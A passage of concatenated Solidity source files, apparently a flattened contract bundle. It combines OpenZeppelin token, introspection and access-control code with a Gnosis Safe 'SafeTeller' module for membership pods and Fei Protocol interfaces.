* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity 0.8.7;
import "./IControllerBase.sol";
interface IControllerV1 is IControllerBase {
function updatePodEnsRegistrar(address _podEnsRegistrar) external;
/**
* @param _members The addresses of the members of the pod
* @param threshold The number of members that are required to sign a transaction
* @param _admin The address of the pod admin
* @param _label label hash of pod name (i.e labelhash('mypod'))
* @param _ensString string of pod ens name (i.e.'mypod.pod.xyz')
*/
function createPod(
address[] memory _members,
uint256 threshold,
address _admin,
bytes32 _label,
string memory _ensString,
uint256 expectedPodId,
string memory _imageUrl
) external;
/**
* @dev Used to create a pod with an existing safe
* @dev Will automatically distribute membership NFTs to current safe members
* @param _admin The address of the pod admin
* @param _safe The address of existing safe
* @param _label label hash of pod name (i.e labelhash('mypod'))
* @param _ensString string of pod ens name (i.e.'mypod.pod.xyz')
*/
function createPodWithSafe(
address _admin,
address _safe,
bytes32 _label,
string memory _ensString,
uint256 expectedPodId,
string memory _imageUrl
) external;
/**
* @dev Allows admin to unlock the safe modules and allow them to be edited by members
* @param _podId The id number of the pod
* @param _isLocked true - pod modules cannot be added/removed
*/
function setPodModuleLock(uint256 _podId, bool _isLocked) external;
/**
* @param _podId The id number of the pod
* @param _isTransferLocked The address of the new pod admin
*/
function setPodTransferLock(uint256 _podId, bool _isTransferLocked) external;
/**
* @param _podId The id number of the pod
* @param _newAdmin The address of the new pod admin
*/
function updatePodAdmin(uint256 _podId, address _newAdmin) external;
/**
* @dev This will nullify all pod state on this controller
* @dev Update state on _newController
* @dev Update controller to _newController in Safe and MemberToken
* @param _podId The id number of the pod
* @param _newController The address of the new pod controller
* @param _prevModule The module that points to the orca module in the safe's ModuleManager linked list
*/
function migratePodController(
uint256 _podId,
address _newController,
address _prevModule
) external;
}
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
interface IMemberToken is IERC1155 {
/**
* @dev Total amount of tokens in with a given id.
*/
function totalSupply(uint256 id) external view returns (uint256);
/**
* @dev Indicates weither any token exist with a given id, or not.
*/
function exists(uint256 id) external view returns (bool);
function getNextAvailablePodId() external view returns (uint256);
/**
* @param _podId The pod id number
* @param _newController The address of the new controller
*/
function migrateMemberController(uint256 _podId, address _newController)
external;
/**
* @param _account The account address to transfer the membership token to
* @param _id The membership token id to mint
* @param data Arbitrary data
*/
function mint(
address _account,
uint256 _id,
bytes memory data
) external;
/**
* @param _accounts The account addresses to transfer the membership tokens to
* @param _id The membership token id to mint
* @param data Arbitrary data
*/
function mintSingleBatch(
address[] memory _accounts,
uint256 _id,
bytes memory data
) external;
function createPod(address[] memory _accounts, bytes memory data) external returns (uint256);
}
pragma solidity 0.8.7;
import "@openzeppelin/contracts/utils/Address.sol";
import "./interfaces/IGnosisSafe.sol";
import "./interfaces/IGnosisSafeProxyFactory.sol";
import "@gnosis.pm/zodiac/contracts/guard/BaseGuard.sol";
contract SafeTeller is BaseGuard {
using Address for address;
// mainnet: 0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B;
address public immutable proxyFactoryAddress;
// mainnet: 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F;
address public immutable gnosisMasterAddress;
address public immutable fallbackHandlerAddress;
string public constant FUNCTION_SIG_SETUP =
"setup(address[],uint256,address,bytes,address,address,uint256,address)";
string public constant FUNCTION_SIG_EXEC =
"execTransaction(address,uint256,bytes,uint8,uint256,uint256,uint256,address,address,bytes)";
string public constant FUNCTION_SIG_ENABLE = "delegateSetup(address)";
bytes4 public constant ENCODED_SIG_ENABLE_MOD =
bytes4(keccak256("enableModule(address)"));
bytes4 public constant ENCODED_SIG_DISABLE_MOD =
bytes4(keccak256("disableModule(address,address)"));
bytes4 public constant ENCODED_SIG_SET_GUARD =
bytes4(keccak256("setGuard(address)"));
address internal constant SENTINEL = address(0x1);
// pods with admin have modules locked by default
mapping(address => bool) public areModulesLocked;
/**
* @param _proxyFactoryAddress The proxy factory address
* @param _gnosisMasterAddress The gnosis master address
*/
constructor(
address _proxyFactoryAddress,
address _gnosisMasterAddress,
address _fallbackHanderAddress
) {
proxyFactoryAddress = _proxyFactoryAddress;
gnosisMasterAddress = _gnosisMasterAddress;
fallbackHandlerAddress = _fallbackHanderAddress;
}
/**
* @param _safe The address of the safe
* @param _newSafeTeller The address of the new safe teller contract
*/
function migrateSafeTeller(
address _safe,
address _newSafeTeller,
address _prevModule
) internal {
// add new safeTeller
bytes memory enableData = abi.encodeWithSignature(
"enableModule(address)",
_newSafeTeller
);
bool enableSuccess = IGnosisSafe(_safe).execTransactionFromModule(
_safe,
0,
enableData,
IGnosisSafe.Operation.Call
);
require(enableSuccess, "Migration failed on enable");
// validate prevModule of current safe teller
(address[] memory moduleBuffer, ) = IGnosisSafe(_safe)
.getModulesPaginated(_prevModule, 1);
require(moduleBuffer[0] == address(this), "incorrect prevModule");
// disable current safeTeller
bytes memory disableData = abi.encodeWithSignature(
"disableModule(address,address)",
_prevModule,
address(this)
);
bool disableSuccess = IGnosisSafe(_safe).execTransactionFromModule(
_safe,
0,
disableData,
IGnosisSafe.Operation.Call
);
require(disableSuccess, "Migration failed on disable");
}
/**
* @dev sets the safeteller as safe guard, called after migration
* @param _safe The address of the safe
*/
function setSafeTellerAsGuard(address _safe) internal {
bytes memory transferData = abi.encodeWithSignature(
"setGuard(address)",
address(this)
);
bool guardSuccess = IGnosisSafe(_safe).execTransactionFromModule(
_safe,
0,
transferData,
IGnosisSafe.Operation.Call
);
require(guardSuccess, "Could not enable guard");
}
function getSafeMembers(address safe)
public
view
returns (address[] memory)
{
return IGnosisSafe(safe).getOwners();
}
function isSafeModuleEnabled(address safe) public view returns (bool) {
return IGnosisSafe(safe).isModuleEnabled(address(this));
}
function isSafeMember(address safe, address member)
public
view
returns (bool)
{
return IGnosisSafe(safe).isOwner(member);
}
/**
* @param _owners The addresses to be owners of the safe
* @param _threshold The number of owners that are required to sign a transaciton
* @return safeAddress The address of the new safe
*/
function createSafe(address[] memory _owners, uint256 _threshold)
internal
returns (address safeAddress)
{
bytes memory data = abi.encodeWithSignature(
FUNCTION_SIG_ENABLE,
address(this)
);
// encode the setup call that will be called on the new proxy safe
// from the proxy factory
bytes memory setupData = abi.encodeWithSignature(
FUNCTION_SIG_SETUP,
_owners,
_threshold,
this,
data,
fallbackHandlerAddress,
address(0),
uint256(0),
address(0)
);
try
IGnosisSafeProxyFactory(proxyFactoryAddress).createProxy(
gnosisMasterAddress,
setupData
)
returns (address newSafeAddress) {
// add safe teller as guard
setSafeTellerAsGuard(newSafeAddress);
return newSafeAddress;
} catch (bytes memory) {
revert("Create Proxy With Data Failed");
}
}
/**
* @param to The account address to add as an owner
* @param safe The address of the safe
*/
function onMint(address to, address safe) internal {
uint256 threshold = IGnosisSafe(safe).getThreshold();
bytes memory data = abi.encodeWithSignature(
"addOwnerWithThreshold(address,uint256)",
to,
threshold
);
bool success = IGnosisSafe(safe).execTransactionFromModule(
safe,
0,
data,
IGnosisSafe.Operation.Call
);
require(success, "Module Transaction Failed");
}
/**
* @param from The address to be removed as an owner
* @param safe The address of the safe
*/
function onBurn(address from, address safe) internal {
uint256 threshold = IGnosisSafe(safe).getThreshold();
address[] memory owners = IGnosisSafe(safe).getOwners();
//look for the address pointing to address from
address prevFrom = address(0);
for (uint256 i = 0; i < owners.length; i++) {
if (owners[i] == from) {
if (i == 0) {
prevFrom = SENTINEL;
} else {
prevFrom = owners[i - 1];
}
}
}
if (owners.length - 1 < threshold) threshold -= 1;
bytes memory data = abi.encodeWithSignature(
"removeOwner(address,address,uint256)",
prevFrom,
from,
threshold
);
bool success = IGnosisSafe(safe).execTransactionFromModule(
safe,
0,
data,
IGnosisSafe.Operation.Call
);
require(success, "Module Transaction Failed");
}
/**
* @param from The address being removed as an owner
* @param to The address being added as an owner
* @param safe The address of the safe
*/
function onTransfer(
address from,
address to,
address safe
) internal {
address[] memory owners = IGnosisSafe(safe).getOwners();
//look for the address pointing to address from
address prevFrom;
for (uint256 i = 0; i < owners.length; i++) {
if (owners[i] == from) {
if (i == 0) {
prevFrom = SENTINEL;
} else {
prevFrom = owners[i - 1];
}
}
}
bytes memory data = abi.encodeWithSignature(
"swapOwner(address,address,address)",
prevFrom,
from,
to
);
bool success = IGnosisSafe(safe).execTransactionFromModule(
safe,
0,
data,
IGnosisSafe.Operation.Call
);
require(success, "Module Transaction Failed");
}
/**
* @dev This will execute a tx from the safe that will update the safe's ENS in the reverse resolver
* @param safe safe address
* @param reverseRegistrar The ENS default reverseRegistar
* @param _ensString string of pod ens name (i.e.'mypod.pod.xyz')
*/
function setupSafeReverseResolver(
address safe,
address reverseRegistrar,
string memory _ensString
) internal {
bytes memory data = abi.encodeWithSignature(
"setName(string)",
_ensString
);
bool success = IGnosisSafe(safe).execTransactionFromModule(
reverseRegistrar,
0,
data,
IGnosisSafe.Operation.Call
);
require(success, "Module Transaction Failed");
}
/**
* @dev This will be called by the safe at tx time and prevent module disable on pods with admins
* @param safe safe address
* @param isLocked safe address
*/
function setModuleLock(address safe, bool isLocked) internal {
areModulesLocked[safe] = isLocked;
}
/**
* @dev This will be called by the safe at execution time time
* @param to Destination address of Safe transaction.
* @param value Ether value of Safe transaction.
* @param data Data payload of Safe transaction.
* @param operation Operation type of Safe transaction.
* @param safeTxGas Gas that should be used for the Safe transaction.
* @param baseGas Gas costs that are independent of the transaction execution(e.g. base transaction fee, signature check, payment of the refund)
* @param gasPrice Gas price that should be used for the payment calculation.
* @param gasToken Token address (or 0 if ETH) that is used for the payment.
* @param refundReceiver Address of receiver of gas payment (or 0 if tx.origin).
* @param signatures Packed signature data ({bytes32 r}{bytes32 s}{uint8 v})
* @param msgSender Account executing safe transaction
*/
function checkTransaction(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 safeTxGas,
uint256 baseGas,
uint256 gasPrice,
address gasToken,
address payable refundReceiver,
bytes memory signatures,
address msgSender
) external view override {
address safe = msg.sender;
// if safe isn't locked return
if (!areModulesLocked[safe]) return;
if (data.length >= 4) {
require(
bytes4(data) != ENCODED_SIG_ENABLE_MOD,
"Cannot Enable Modules"
);
require(
bytes4(data) != ENCODED_SIG_DISABLE_MOD,
"Cannot Disable Modules"
);
require(
bytes4(data) != ENCODED_SIG_SET_GUARD,
"Cannot Change Guard"
);
}
}
function checkAfterExecution(bytes32, bool) external view override {}
// TODO: move to library
// Used in a delegate call to enable module add on setup
function enableModule(address module) external {
require(module == address(0));
}
function delegateSetup(address _context) external {
this.enableModule(_context);
}
}
pragma solidity 0.8.7;
interface IPodEnsRegistrar {
function getRootNode() external view returns (bytes32);
function registerPod(
bytes32 label,
address podSafe,
address podCreator
) external returns (address);
function register(bytes32 label, address owner) external;
function setText(
bytes32 node,
string calldata key,
string calldata value
) external;
function addressToNode(address input) external returns (bytes32);
function getEnsNode(bytes32 label) external view returns (bytes32);
}
pragma solidity 0.8.7;
interface IGnosisSafe {
enum Operation {Call, DelegateCall}
/// @dev Allows a Module to execute a Safe transaction without any further confirmations.
/// @param to Destination address of module transaction.
/// @param value Ether value of module transaction.
/// @param data Data payload of module transaction.
/// @param operation Operation type of module transaction.
function execTransactionFromModule(
address to,
uint256 value,
bytes calldata data,
Operation operation
) external returns (bool success);
/// @dev Returns array of owners.
/// @return Array of Safe owners.
function getOwners() external view returns (address[] memory);
function isOwner(address owner) external view returns (bool);
function getThreshold() external returns (uint256);
/// @dev Returns array of modules.
/// @param start Start of the page.
/// @param pageSize Maximum number of modules that should be returned.
/// @return array Array of modules.
/// @return next Start of the next page.
function getModulesPaginated(address start, uint256 pageSize)
external
view
returns (address[] memory array, address next);
/// @dev Returns if an module is enabled
/// @return True if the module is enabled
function isModuleEnabled(address module) external view returns (bool);
/// @dev Set a guard that checks transactions before execution
/// @param guard The address of the guard to be used or the 0 address to disable the guard
function setGuard(address guard) external;
}
pragma solidity 0.8.7;
interface IGnosisSafeProxyFactory {
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data)
external
returns (address);
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "../interfaces/IGuard.sol";
abstract contract BaseGuard is IERC165 {
function supportsInterface(bytes4 interfaceId)
external
pure
override
returns (bool)
{
return
interfaceId == type(IGuard).interfaceId || // 0xe6d7a83a
interfaceId == type(IERC165).interfaceId; // 0x01ffc9a7
}
/// @dev Module transactions only use the first four parameters: to, value, data, and operation.
/// Module.sol hardcodes the remaining parameters as 0 since they are not used for module transactions.
/// @notice This interface is used to maintain compatibilty with Gnosis Safe transaction guards.
function checkTransaction(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 safeTxGas,
uint256 baseGas,
uint256 gasPrice,
address gasToken,
address payable refundReceiver,
bytes memory signatures,
address msgSender
) external virtual;
function checkAfterExecution(bytes32 txHash, bool success) external virtual;
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title Enum - Collection of enums
/// @author Richard Meissner - <[email protected]>
contract Enum {
enum Operation {Call, DelegateCall}
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
interface IGuard {
function checkTransaction(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 safeTxGas,
uint256 baseGas,
uint256 gasPrice,
address gasToken,
address payable refundReceiver,
bytes memory signatures,
address msgSender
) external;
function checkAfterExecution(bytes32 txHash, bool success) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `_msgSender()` is missing `role`.
* Overriding this function changes the behavior of the {onlyRole} modifier.
*
* Format of the revert message is described in {_checkRole}.
*
* _Available since v4.6._
*/
function _checkRole(bytes32 role) internal view virtual {
_checkRole(role, _msgSender());
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "../core/ICore.sol";
/// @title CoreRef interface
/// @author Fei Protocol
interface ICoreRef {
// ----------- Events -----------
event CoreUpdate(address indexed oldCore, address indexed newCore);
event ContractAdminRoleUpdate(bytes32 indexed oldContractAdminRole, bytes32 indexed newContractAdminRole);
// ----------- Governor only state changing api -----------
function setContractAdminRole(bytes32 newContractAdminRole) external;
// ----------- Governor or Guardian only state changing api -----------
function pause() external;
function unpause() external;
// ----------- Getters -----------
function core() external view returns (ICore);
function fei() external view returns (IFei);
function tribe() external view returns (IERC20);
function feiBalance() external view returns (uint256);
function tribeBalance() external view returns (uint256);
function CONTRACT_ADMIN_ROLE() external view returns (bytes32);
function isContractAdmin(address admin) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./IPermissionsRead.sol";
/// @title Permissions interface
/// @author Fei Protocol
interface IPermissions is IAccessControl, IPermissionsRead {
// ----------- Governor only state changing api -----------
function createRole(bytes32 role, bytes32 adminRole) external;
function grantMinter(address minter) external;
function grantBurner(address burner) external;
function grantPCVController(address pcvController) external;
function grantGovernor(address governor) external;
function grantGuardian(address guardian) external;
function revokeMinter(address minter) external;
function revokeBurner(address burner) external;
function revokePCVController(address pcvController) external;
function revokeGovernor(address governor) external;
function revokeGuardian(address guardian) external;
// ----------- Revoker only state changing api -----------
function revokeOverride(bytes32 role, address account) external;
// ----------- Getters -----------
function GUARDIAN_ROLE() external view returns (bytes32);
function GOVERN_ROLE() external view returns (bytes32);
function BURNER_ROLE() external view returns (bytes32);
function MINTER_ROLE() external view returns (bytes32);
function PCV_CONTROLLER_ROLE() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title FEI stablecoin interface
/// @author Fei Protocol
interface IFei is IERC20 {
// ----------- Events -----------
event Minting(address indexed _to, address indexed _minter, uint256 _amount);
